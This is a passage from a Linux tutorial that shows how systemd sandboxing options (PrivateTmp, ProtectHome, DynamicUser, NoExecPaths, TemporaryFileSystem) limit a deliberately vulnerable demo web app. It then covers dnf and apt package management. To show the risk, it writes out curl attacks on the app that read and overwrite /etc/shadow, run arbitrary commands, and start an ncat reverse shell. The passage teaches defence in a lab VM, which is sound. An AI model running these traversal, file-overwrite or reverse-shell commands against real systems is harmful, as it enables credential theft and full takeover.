Linux 4
Linux 4
Linux 4
systemd provides multiple features which can allow anyone to lock down a particular service. These features help to
migiate multiple security issues for any service. We will learn about a few of those in this section.
Now, we will use an web application I developed to learn. It is called verybad. This has multiple security issues, so do
not run it in your laptop or main system. If you want try it out and follow along the steps, please do it in a VM.
Note: All of the following steps are done in a Fedora 35 virtual machine.
Press enter for the default configuration. You can logout and log back in to make sure that correct environment varibles
are being used.
53
Linux command line for you and me Documentation, Release 0.1
Next, installing gcc and then clone the git repository and compile.
Now, we will copy the executable to /usr/sbin and also copy the service file and then start & enable the service.
Now, in one terminal you can run journalctl to see the logs from the service, and then from another terminal we can
use curl to do various operations on the web service.
The verybad application contains multiple diffrent security vulnerabilities. You can see all the available API if you do
a GET request to the root of the application.
$ curl http://localhost:8000/
Example of poorly written code.
GET /getos -> will give the details of the OS.
GET /filename -> will provide a file from the current directory
GET /exec/date -> will give you the current date & time in the server.
POST /filename -> Saves the data in filename.
We can get the details of the Operating system via /getos call, which internally returning us the content of the /etc/os-
release file.
$ curl http://localhost:8000/getos
NAME="Fedora Linux"
VERSION="35 (Cloud Edition)"
ID=fedora
VERSION_ID=35
VERSION_CODENAME=""
PLATFORM_ID="platform:f35"
PRETTY_NAME="Fedora Linux 35 (Cloud Edition)"
ANSI_COLOR="0;38;2;60;110;180"
LOGO=fedora-logo-icon
CPE_NAME="cpe:/o:fedoraproject:fedora:35"
HOME_URL="https://fedoraproject.org/"
DOCUMENTATION_URL="https://docs.fedoraproject.org/en-US/fedora/f35/system-
˓→administrators-guide/"
SUPPORT_URL="https://ask.fedoraproject.org/"
BUG_REPORT_URL="https://bugzilla.redhat.com/"
REDHAT_BUGZILLA_PRODUCT="Fedora"
(continues on next page)
Directory traversal or Local File inclusion is the first vulnerability we are going to look into. A GET request to
/filename will give us the file. Let us read the /etc/shadow file using this.
$ curl http://localhost:8000/%2Fetc%2Fshadow
root:!locked::0:99999:7:::
bin:*:18831:0:99999:7:::
daemon:*:18831:0:99999:7:::
adm:*:18831:0:99999:7:::
lp:*:18831:0:99999:7:::
sync:*:18831:0:99999:7:::
shutdown:*:18831:0:99999:7:::
halt:*:18831:0:99999:7:::
mail:*:18831:0:99999:7:::
operator:*:18831:0:99999:7:::
games:*:18831:0:99999:7:::
ftp:*:18831:0:99999:7:::
nobody:*:18831:0:99999:7:::
dbus:!!:18926::::::
systemd-network:!*:18926::::::
systemd-oom:!*:18926::::::
systemd-resolve:!*:18926::::::
systemd-timesync:!*:18926::::::
systemd-coredump:!*:18926::::::
tss:!!:18926::::::
unbound:!!:18926::::::
sshd:!!:18926::::::
chrony:!!:18926::::::
fedora:!!:19069:0:99999:7:::
polkitd:!!:19069::::::
In this system we don’t have any password set, but in case we had any password, the attacker can retrive that. The
attacker can read any file in the system, thus enables them to read the configuration or password details for any other
application running in the same system.
The attacker can also write to any file using POST request to /filename API endpoint. Thus they can add new user, add
any password for a given user (via /etc/shadow). They can enable ssh access for the root user (via /etc/ssh/sshd_config).
In the below example we are rewriting the /etc/shadow file with a known password for root. We prefilled the password
part in the local_shadow file for root.
$ cat local_shadow
root:$y$j9T$Ezgqn2AUuaBBQ25pABCoj/
˓→$QU3CfSAX4aLmb6mcZAqmMg4ZvEgGZpdjW632qsDtXX3:19075:0:99999:7:::
bin:*:18831:0:99999:7:::
daemon:*:18831:0:99999:7:::
adm:*:18831:0:99999:7:::
lp:*:18831:0:99999:7:::
sync:*:18831:0:99999:7:::
shutdown:*:18831:0:99999:7:::
halt:*:18831:0:99999:7:::
mail:*:18831:0:99999:7:::
operator:*:18831:0:99999:7:::
games:*:18831:0:99999:7:::
ftp:*:18831:0:99999:7:::
nobody:*:18831:0:99999:7:::
dbus:!!:18926::::::
systemd-network:!*:18926::::::
systemd-oom:!*:18926::::::
systemd-resolve:!*:18926::::::
systemd-timesync:!*:18926::::::
systemd-coredump:!*:18926::::::
tss:!!:18926::::::
unbound:!!:18926::::::
sshd:!!:18926::::::
chrony:!!:18926::::::
fedora:!!:19069:0:99999:7:::
polkitd:!!:19069::::::
You can see that after overwriting the /etc/shadow file, we could just use password as root’s password :) To pass / in
the URL we had to URL encode it, which is %2F.
You can execute any command on the system using GET request to /exec/<command> API. For example, we can see
the contents of /root/ directory via ls command. Once again we URL encoded the command and the argument. You
can thus create a reverse shell, or any kind of damage as we are running the service as root by default.
$ curl http://localhost:8000/exec/id
uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:unconfined_service_
˓→t:s0
$ curl http://localhost:8000/exec/ls%20%2Froot
anaconda-ks.cfg
original-ks.cfg
Through out rest of the chapter, we will learn how to migiate these 3 kinds of vulnerabilities using systemd’s builtin
features.
One of the very initial thing we can do is to provide a private temporary directory structure only to the service. If we
set PrivateTmp=yes, it will create a new file system namespace for the service & will mount private /tmp & /var/tmp
inside of it. This option is only available for system services.
Only using PrivateTmp does not provide special security, but it stops the chances where the service can write to a
temporary file/socket created by another service.
We can also use ProtectHome= to secure home directories in the system. It is set to true like ProtectHome=yes, then
/root, /home & /run/user are empty & inaccessible. We can also set them as read only by doing ProtectHome=read-
only. The third available option is tmpfs, which mounts temporary filesytem to those directories. For any long running
service, we must enable this feature.
Let us see how this affects our service. First we update the service file.
[Unit]
Description=Very Bad Web Application
After=network.target
[Service]
Type=simple
WorkingDirectory=/web/amazing
ExecStart=/usr/sbin/verybad
Restart=always
ProtectHome=yes
PrivateTmp=yes
[Install]
WantedBy=multi-user.target
We will have to reload the daemon & restart the service for the changes in effect.
# systemctl daemon-reload
# systemctl restart verybad
Now we will try to execute ls command against /root, /home/fedora & /tmp directory. You will notice that the tool can
not see any file in those directories.
$ curl http://localhost:8000/exec/ls%20%2Froot
$ curl http://localhost:8000/exec/ls%20%2Fhome%2Ffedora
$ curl http://localhost:8000/exec/ls%20%2Ftmp
systemd also provides various sandboxing options for runtime/configuration/state/logging directories for any service,
and those are available to the service as environment variables too. You can specify them via the following options:
9.9 DynamicUser
This is a very powerful option, takes a boolean value. If set to yes a user & group will be dynamically added.
This value will not be showed up in the /etc/passwd or in /etc/group files. It also means ProtectSystem=strict &
ProtectHome=read-only. PrivateTmp is also implied. Two new options will also be implied, NoNewPrivileges= and
RestrictSUIDSGID=. These options make sure the actual service process can not create SUID/SGID files or use them.
Let us enable DynamicUser and have a state directory and move us to that StateDirectory as WorkingDirectory.
[Unit]
Description=Very Bad Web Application
After=network.target
[Service]
Type=simple
ExecStart=/usr/sbin/verybad
Restart=always
DynamicUser=yes
StateDirectory=verybad
WorkingDirectory=/var/lib/verybad
[Install]
WantedBy=multi-user.target
The StateDirectory is now /var/lib/verybad, but because we are having a DynamicUser, it is actually under
/var/lib/private and symlinked to /var/lib/verybad. We can see if we check the index page once again.
$ curl http://localhost:8000/
Example of poorly written code.
GET /getos -> will give the details of the OS.
GET /filename -> will provide a file from the current directory
GET /exec/date -> will give you the current date & time in the server.
POST /filename -> Saves the data in filename.
Code is running in: /var/lib/private/verybad
We can also check details about the user the service is running as and try to write to some files or execute commands
or read some files.
$ curl http://localhost:8000/exec/id
uid=65445(verybad) gid=65445(verybad) groups=65445(verybad) context=system_u:system_
˓→r:unconfined_service_t:s0
We can still create a reverse shell in this setup. In one terminal use nc to listen for connection on port 5555 and use
ncat command to connect to it.
$ nc -nlv 5555
Listening on 0.0.0.0 5555
Now, use curl to fire up ncat & connect to this. We have the command ncat 127.0.0.1 5555 -e /bin/bash URL encoded.
$ curl http://localhost:8000/exec/ncat%20127.0.0.1%205555%20-e%20%2Fbin%2Fbash
Now, if you go back you can see a connection has been established.
pwd
/var/lib/private/verybad
ls /tmp
cp /usr/bin/ls /tmp/
ls -l /tmp/ls
-rwxr-xr-x. 1 verybad verybad 141816 Mar 30 09:41 /tmp/ls
chmod u+s /tmp/ls
ls -l /tmp/ls
-rwxr-xr-x. 1 verybad verybad 141816 Mar 30 09:41 /tmp/ls
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:65534:65534:Kernel Overflow User:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
systemd-network:x:192:192:systemd Network Management:/:/usr/sbin/nologin
systemd-oom:x:999:999:systemd Userspace OOM Killer:/:/usr/sbin/nologin
systemd-resolve:x:193:193:systemd Resolver:/:/usr/sbin/nologin
systemd-timesync:x:998:998:systemd Time Synchronization:/:/usr/sbin/nologin
systemd-coredump:x:997:997:systemd Core Dumper:/:/usr/sbin/nologin
tss:x:59:59:Account used for TPM access:/dev/null:/sbin/nologin
unbound:x:996:995:Unbound DNS resolver:/etc/unbound:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/usr/share/empty.sshd:/sbin/nologin
chrony:x:995:994::/var/lib/chrony:/sbin/nologin
fedora:x:1000:1000:fedora Cloud User:/home/fedora:/bin/bash
9.9. DynamicUser 59
Linux command line for you and me Documentation, Release 0.1
We can further lock down the service using the NoExecPaths and ExecPaths configuration. NoExecPaths= will let
us set paths from which (if directory) or the files themselves will not be allowed to execute. And then we can only
mention the execuables we want to allow. This should also include any library which will be mapped to memory as
exec.
In our case we have to find out the libraries we are linked against and same for any executable we need, that is
/usr/bin/date. Let us use ldd command to find this information. We will also need /usr/lib/systemd/systemd in the
allow list.
$ ldd /usr/bin/date
linux-vdso.so.1 (0x00007ffe9c7f9000)
libc.so.6 => /lib64/libc.so.6 (0x00007f08ac188000)
/lib64/ld-linux-x86-64.so.2 (0x00007f08ac3b3000)
$ ldd /usr/sbin/verybad
linux-vdso.so.1 (0x00007ffd0b9a9000)
libgcc_s.so.1 => /lib64/libgcc_s.so.1 (0x00007fe39ccc4000)
libm.so.6 => /lib64/libm.so.6 (0x00007fe39cbe8000)
libc.so.6 => /lib64/libc.so.6 (0x00007fe39c9de000)
/lib64/ld-linux-x86-64.so.2 (0x00007fe39d082000)
[Unit]
Description=Very Bad Web Application
After=network.target
[Service]
Type=simple
ExecStart=/usr/sbin/verybad
Restart=always
DynamicUser=yes
StateDirectory=verybad
WorkingDirectory=/var/lib/verybad
NoExecPaths=/
ExecPaths=/usr/sbin/verybad /usr/lib/systemd/systemd /lib64/ld-linux-x86-64.so.2 /
˓→lib64/libgcc_s.so.1 /lib64/libm.so.6 /lib64/libc.so.6 /usr/bin/date
[Install]
WantedBy=multi-user.target
Then daemon-reload & restart the service. & we will try the curl command once again.
If you read the man page linked above, you will find more options from systemd which you can enable to sandbox the
service.
For example, one can still read some important files from the server using the service. Say files under the /etc. You
can try this yourself.
$ curl http://localhost:8000/%2Fetc%2Fsystemd%2Fsystem%2Fverybad.service
[Unit]
Description=Very Bad Web Application
After=network.target
[Service]
Type=simple
ExecStart=/usr/sbin/verybad
Restart=always
DynamicUser=yes
StateDirectory=verybad
WorkingDirectory=/var/lib/verybad
NoExecPaths=/
ExecPaths=/usr/sbin/verybad /usr/lib/systemd/systemd /lib64/ld-linux-x86-64.so.2 /
˓→lib64/libgcc_s.so.1 /lib64/libm.so.6 /lib64/libc.so.6 /usr/bin/date
[Install]
WantedBy=multi-user.target
We can block this via mounting a Temporary filesytem in /etc, and then binding the files we need for the service as
read only, using TemporaryFileSystem= & BindReadOnlyPaths= options.
The full service file is given below.
[Unit]
Description=Very Bad Web Application
After=network.target
[Service]
Type=simple
ExecStart=/usr/sbin/verybad
Restart=always
DynamicUser=yes
StateDirectory=verybad
WorkingDirectory=/var/lib/verybad
(continues on next page)
TemporaryFileSystem=/etc:ro
BindReadOnlyPaths=/etc/os-release /etc/localtime
[Install]
WantedBy=multi-user.target
Package management
In the Free and Open Source Software world, most software is released in source code format by developers. This
means that generally, if you want to install a piece of software, you will find the source code on the website of the
project. As a user, you will have to find and install all the other bits of software, that this particular piece depends on
(the dependencies) and then install the software. To solve this painful issue, all Linux distributions have something
called a package management system. Volunteers (mostly) all across the world help make binary software packages
out of source code released by the developers, in such a way that users of the Linux distribution can easily install,
update or remove that software.
It’s generally recommended, we use the package management system that comes with the distribution, to install
software for the users. If you are really sure about what you’re doing in the system, you can install from the source
files too; but that can be dangerous.
dnf is the package management system in Fedora. The actual packages come in the rpm format. dnf helps you search,
install or uninstall any package from the Fedora package repositories. You can also use the same command to update
packages in your system.
63
Linux command line for you and me Documentation, Release 0.1
First the tool, downloads all the latest package information from the repository, and then gives us the result.
The dnf install command helps us install any given package. We can pass more than one package name as the argument.
$ sudo dnf install pss wget
Last metadata expiration check: 0:37:13 ago on Sun Jun 25 03:44:07 2017.
Package wget-1.18-3.fc25.x86_64 is already installed, skipping.
Dependencies resolved.
=====================================================================================================
Package Arch Version
˓→ Repository Size
=====================================================================================================
Installing:
pss noarch 1.40-6.fc25
˓→ fedora 58 k
Transaction Summary
=====================================================================================================
Install 1 Package
Installed:
pss.noarch 1.40-6.fc25
Complete!
The following command shows all the available updates for your system.
Last metadata expiration check: 0:52:28 ago on Fri 09 Apr 2021 08:51:39 PM IST.
Available Upgrades
fedora-gpg-keys.noarch 33-4 updates
fedora-repos.noarch 33-4 updates
fedora-repos-modular.noarch 33-4 updates
dnf can also tell you about all the updates which are marked as security updates.
Use dnf update command to install all the available updates. You can also pass the -y flag to it.
10.8 Find out the services & applications need restart after update in
Fedora/CentOS/RHEL
The dnf-utils package contains a special command, needs-restarting. After you do a dnf update, when different
libraries get updated, there may be running processes/services which needs restart. One way of doing this is restarting
the system, but that may not be the right choice (may be you are running critical services) all the time. So, you can
find out which ones you should restart.
Below is the output from a Fedora 34 desktop system.
# needs-restarting
1 : /usr/lib/systemd/systemd --system --deserialize 62
1616 : /usr/lib/systemd/systemd-resolved
1617 : /sbin/auditd
1638 : /usr/sbin/ModemManager
1639 : avahi-daemon: running [linux-2.local]
1640 : /usr/libexec/bluetooth/bluetoothd
1641 : /usr/libexec/boltd
1642 : /usr/bin/python3 -s /usr/sbin/firewalld --nofork --nopid
1643 : /usr/local/bin/ivpn-service
1646 : /usr/sbin/mcelog --daemon --foreground
1650 : /usr/sbin/rngd -f
1651 : /usr/libexec/rtkit-daemon
1657 : /usr/libexec/switcheroo-control
1659 : /usr/lib/systemd/systemd-machined
1662 : /usr/libexec/udisks2/udisksd
1664 : /usr/libexec/upowerd
1669 : avahi-daemon: chroot helper
1688 : /usr/bin/dbus-broker-launch --scope system --audit
1695 : /usr/sbin/abrtd -d -s
1699 : /usr/sbin/chronyd
1723 : /usr/bin/abrt-dump-journal-core -D -T -f -e
1724 : /usr/bin/abrt-dump-journal-oops -fxtD
1725 : /usr/bin/abrt-dump-journal-xorg -fxtD
1728 : /usr/lib/polkit-1/polkitd --no-debug
1744 : /usr/libexec/accounts-daemon
1745 : /usr/lib/systemd/systemd-logind
1776 : /usr/sbin/NetworkManager --no-daemon
1788 : /usr/sbin/cupsd -l
1877 : /usr/sbin/pcscd --foreground --auto-exit
1898 : /usr/sbin/atd -f
1899 : /usr/sbin/crond -n
1900 : /usr/sbin/gdm
1920 : /usr/libexec/uresourced
2034 : /usr/sbin/dnsmasq --conf-file=/var/lib/libvirt/dnsmasq/default.conf --
˓→leasefile-ro --dhcp-script=/usr/libexec/libvirt_leaseshelper
10.8. Find out the services & applications need restart after update in Fedora/CentOS/RHEL 67
Linux command line for you and me Documentation, Release 0.1
4714 : /usr/libexec/flatpak-system-helper
We can use dnf-automatic package to enable automatic installation of the updates. After you install the package,
updated the configuration file /etc/dnf/automatic.conf to mark apply_updates = yes, by default it is set as no.
After that you can enable the timer, so that the packages get automatic updates installed.
In case if you want to only download the available updates, but not install them, you can enable the following timer.
In the configuration file, if you set upgrade_type = security, then the tool will only install security updates.
Note: If you are interested to learn more about RPM packaging, start from this guide from Adam Miller.
apt is the package management system for the Debian Linux distribution. As Ubuntu is downstream of the Debian
distribution, it also uses the same package management system.
# apt update
... long output
The apt update command is used to update all the package information for the Debian repositories.
apt install packagename is the command used to install any given package from the repository.
After you updated the cache, you can search for any package. Say, we want to search the packge neomutt.
To know the exact policy (from where it will installed/upgrade or which version etc), you can use the following
command.
You can use apt list –upgradable to list all the packages that have updates in the repositories.
Use apt dist-upgrade to upgrade all the packages to the latest from the repositories.
# apt dist-upgrade
Reading package lists... Done
Building dependency tree
Reading state information... Done
Calculating upgrade... Done
The following packages will be upgraded:
libsystemd0 libudev1
2 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.
Need to get 483 kB of archives.
After this operation, 0 B of additional disk space will be used.
Do you want to continue? [Y/n] Y
Get:1 http://security.debian.org/debian-security buster/updates/main amd64
˓→libsystemd0 amd64 241-7~deb10u8 [331 kB]
Just like Fedora systems, you can find the similar information in Debian too. You will need the needrestart package.
The following is the output from the needrestart command.
We can use the Debian Security Analyzer, debsecan tool for this. You have to install it via apt first. In the following
example, we are checking system (running Debian Buster) against the available updates for security updates.
We can also setup the Debian systems for automatic upgrades. But, first install the unattended-upgrades and recon-
figure it to download and apply the updates.
You can do a dry run afterward. By default unattended-upgrade will only install the security updates.
For more details on this topic, please read the Debian wiki page on this topic.